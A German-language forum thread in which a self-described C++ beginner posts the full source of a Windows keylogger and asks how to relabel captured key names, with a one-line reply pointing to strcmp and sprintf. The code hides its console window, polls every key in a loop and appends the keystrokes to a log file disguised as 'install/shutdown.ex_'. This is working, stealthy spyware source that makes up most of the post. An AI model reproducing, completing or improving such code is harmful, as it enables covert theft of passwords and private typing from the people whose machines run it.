Variable szKey belegen??



  • Ich bin cpp Anfänger und habe gerade mein erstes Prjekt fertig, einen einfachen keylogger (keine sorge, führe nix im Schilde^^)

    hier mal den Code:

    #include <windows.h>
    #include <stdio.h>
    #include <string>
    #include <time.h>
    
    int main()
    {
      AllocConsole();
      ShowWindow(FindWindowA("ConsoleWindowClass",NULL),0);
    
      FILE *Log;
      short key;
      char szKey[MAX_PATH];
      int scan;
    
      while(1)
      {
        Sleep(10);
        for(key=0;key<256;key++)
        {
          if(GetAsyncKeyState(key)==-32767)
          {
            scan=MapVirtualKeyEx(key,0,GetKeyboardLayout(0));
            GetKeyNameText(scan << 16,szKey,MAX_PATH);
    
            Log=fopen("install/shutdown.ex_","a+");
            fprintf(Log,"%s",szKey);
            fclose(Log);
          }
        }
      }
    }
    

    Nun will ich die Variable, die den Buchstaben enthält (szKey) verändern,
    z.B

    if(szKey=="alt"){
    szKey=="[alt]";
    }
    

    Doch wenn ich den Code so einbinde, kommt immer ein Compiler Fehler. Weis da jemand weiter?

    greetz dominic



  • strcmp
    sprintf


Anmelden zum Antworten